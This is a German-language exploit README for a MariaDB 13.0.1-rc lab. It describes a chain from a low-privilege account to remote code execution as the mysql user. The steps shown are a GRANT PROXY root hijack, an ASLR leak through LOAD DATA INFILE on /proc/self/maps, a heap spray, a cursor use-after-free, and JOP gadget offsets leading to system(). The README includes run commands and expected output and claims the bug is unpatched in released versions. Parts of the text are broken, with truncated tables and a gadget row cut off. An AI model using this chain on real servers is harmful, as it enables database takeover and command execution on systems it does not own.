
MariaDB 13.0.1-rc RCE-Labor — Privilege Escalation + Heap-UAF + JOP-Kette zu system() als uid 999(mysql) auf einem Standard-Docker-Image. Gefunden mit RAPTOR und raptor-loop-hunt.
Remote-Codeausführung auf dem unveränderten, Standard-MariaDB-13.0.1-rc-Docker-Image als uid 999 (mysql).
Zwei Exploit-Varianten:
| Variante | Datei | Anforderungen | Hinweise |
|---|---|---|---|
| Reines SQL (empfohlen) | exploit_pure_sql.py | ein MariaDB-Konto mit niedrigen Rechten + TCP | kein Host-Zugriff, kein Docker, kein /proc/mem, kein Root-Passwort |
| Host-gestützter PoC | exploit.py | root auf dem Docker-Host | schreibt JOP-Kette über /proc/<pid>/mem |
Getestet und nachgewiesen auf: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 Läufe, jeweils mit frischen ASLR-Basen).
exploit_pure_sql.py)Der Angreifer besitzt nur:
lowpriv-Benutzer aus Compose) + dessen Passwort, undDie gesamte Kette wird als SQL-Anweisungen ausgeführt; kein Host-seitiger Prozesszugriff, keine Docker-Befehle, keine bekannten Adressen. Jede Laufzeitadresse wird über SQL vom Ziel selbst ermittelt:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc/<pid>/mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
Die einzigen verbleibenden Nicht-SQL-Operationen sind Post-Exploit-Nachbereitung: Neustart des (bereits abgestürzten) Containers und Anzeigen der Markierungsdatei – sie sind nicht Teil der Ausnutzung.
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
Erfordert nur einen mariadb/mysql-Client und Python 3. --container wird für die
abschließende Marker-Anzeige (Neustart + cat) verwendet und kann entfallen, wenn der Marker
auf andere Weise überprüft wird.
Erwartetes Ende der Ausgabe:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' umgeht alle
Privilegienprüfungen. Die leere Authentifizierungsklausel lässt LEX_USER::has_auth()
false zurückgeben (wodurch check_alter_user() übersprungen wird), während
replace_user_table() weiterhin das leere Passwort anwendet – und damit die Anmeldedaten
von root ersetzt. Eine SQL-Anweisung, jeder authentifizierte Benutzer, jede
veröffentlichte MariaDB-Version.
/proc/self/mapsLOAD DATA INFILE '/proc/self/maps' liest das vollständige Speicherlayout des
mariadbd-Prozesses aus SQL heraus und offenbart die PIE-Basis- und
libc-Basisadressen. Funktioniert mit secure_file_priv = NULL (nicht gesetzt) auf dem
Standard-Image.
sp_cursor_array::get_cursor_by_ref() gibt einen internen Zeiger auf ein
Dynamic_array zurück, dessen zugrunde liegender Speicher bei Wachstum durch
my_realloc verschoben wird. Wenn die open()-Methode eines Cursors
angreiferkontrolliertes SQL ausführt, das zusätzliche Cursor öffnet, wächst das
Array, der alte Speicher wird freigegeben, und der zwischengespeicherte Zeiger des
Aufrufers wird zu einem hängenden Zeiger.
Der freigegebene Block (16 Cursor × 112 Bytes = 1792 Bytes) wird durch einen
Heap-Spray aus 128 Benutzervariablen-Kopien mit je 1784 Bytes zurückerobert (exakt
passend für den glibc-Chunk). Das Spray-Payload platziert einen kontrollierten
Vtable-Zeiger bei Offset 0x20 (das result-Mitglied von sp_cursor), der
anschließend für den virtuellen Dispatch verwendet wird:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
Zwei JOP-Gadgets aus dem Standard-mariadbd-Binary (kein ROP, kein Stack-Pivot):
| Gadget | Offset | Instruction | Zweck |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | Korrektur der Stack-Ausrichtung |
| D1 | PIE+0xe3075b |
Die gefälschte Vtable V lebt im 128-MiB-Puffer; Layout:
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"
Das Henne-Ei-Problem, selbstreferenzielle JOP-Daten zu schreiben, bevor man die Pufferadresse kennt, wird durch das mmap-Verhalten von glibc gelöst:
/proc/self/maps-Diff ermitteln/proc/self/maps verifiziert; falls sich
die Adresse je bewegt, wird die Selbstreferenz neu eingebrannt und der Schreibvorgang
wiederholt (konvergiert in der Praxis in einer Iteration)Gleiche Kette, aber das JOP-Layout wird über /proc/<pid>/mem vom Docker-Host aus in
den Prozess geschrieben (Root erforderlich), das Payload-Skript wird über docker exec
erstellt, und die Verbindung erfolgt mit dem Root-Passwort aus der Compose-Datei. Als
historischer PoC beibehalten; die Pure-SQL-Variante ersetzt ihn.
sql/sp_cursor.{cc,h} zwischen dem 13.0.1-Tag und HEAD).dbd60d0ad8d, MDEV-40470) befindet sich
auf Dev-Branches, fehlt jedoch in jeder veröffentlichten Version (verifiziert für
13.0.1 bis 10.6.27).SET GLOBAL max_allowed_packet
erhöht und eine neue Verbindung verwendet).DATA_OFF aktualisieren, falls er je abweicht).| Alter Helfer (exploit.py) | Pure-SQL-Ersatz |
|---|
docker inspect → PID + Host-seitiges /proc/<pid>/maps | LOAD DATA INFILE '/proc/self/maps' |
Host-seitige /proc/<pid>/mem-Schreibvorgänge für die JOP-Kette | Layout wird bei der Allokation über CONCAT/UNHEX eingebettet; Adresse aus SQL-seitigem Maps-Diff; Wiederverwendung des mmap-Slots hält die Selbstreferenz gültig |
docker exec ... echo CMD > /tmp/payload_cmd.sh | Befehlszeichenfolge direkt in das JOP-Layout eingebettet |
mariadb -uroot -plabpass (Root-Passwort) | GRANT PROXY-Escalation vom Konto mit niedrigen Rechten |
docker exec ... cat MARKER | wird nur zum Anzeigen des Nachweises verwendet |
mov rdi,[rax+0xa8]; call [rax+0xa0]| Cmd-Zeiger laden, system() aufrufen |